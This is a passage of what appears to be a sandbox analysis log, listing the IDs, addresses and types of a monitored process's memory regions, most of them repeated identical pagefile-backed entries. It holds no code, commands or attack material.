"pagefile_0x0000000001e50000" filename = "" Region: id = 8713 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8714 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8715 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8716 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8717 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8718 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8719 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8720 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8721 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8722 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8723 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8724 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8725 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8726 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8727 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8728 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8729 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8730 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8731 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8732 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8733 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8734 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8735 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8736 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8737 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8738 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8739 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8740 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8741 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8742 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8743 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8744 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8745 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 8746 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 8747 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 8748 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8749 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8750 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8751 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8752 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8753 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8754 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8755 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8756 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8757 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8758 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8759 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8760 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8761 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8762 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8763 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8764 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8765 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8766 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8767 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8768 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8769 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8770 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8771 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8772 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8773 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8774 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8775 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8776 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8777 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8778 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8779 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8780 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8781 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8782 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8783 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8784 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8785 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8786 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8787 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8788 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8789 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8790 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8791 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8792 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8793 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8794 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8795 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8796 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8797 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8798 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8799 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8800 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8801 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8802 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8803 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8804 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8805 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8806 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8807 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8808 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8809 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8810 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8811 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8812 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8813 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8814 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8815 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8816 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8817 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8818 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8819 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8820 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8821 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8822 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8823 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8824 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8825 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8826 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8827 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8828 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8829 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8830 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8831 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8832 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8833 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8834 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8835 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8836 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8837 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8838 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8839 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8840 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8841 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8842 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8843 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8844 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8845 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8846 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8847 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8848 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8849 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8850 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8851 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8852 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8853 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8854 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 8855 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 8856 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 8857 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8858 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8859 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8860 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8861 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8862 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8863 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8864 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8865 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8866 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8867 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8868 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8869 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8870 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8871 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8872 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8873 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8874 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8875 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8876 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8877 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8878 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8879 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8880 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8881 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8882 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8883 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8884 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8885 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8886 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8887 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8888 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8889 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8890 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8891 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = 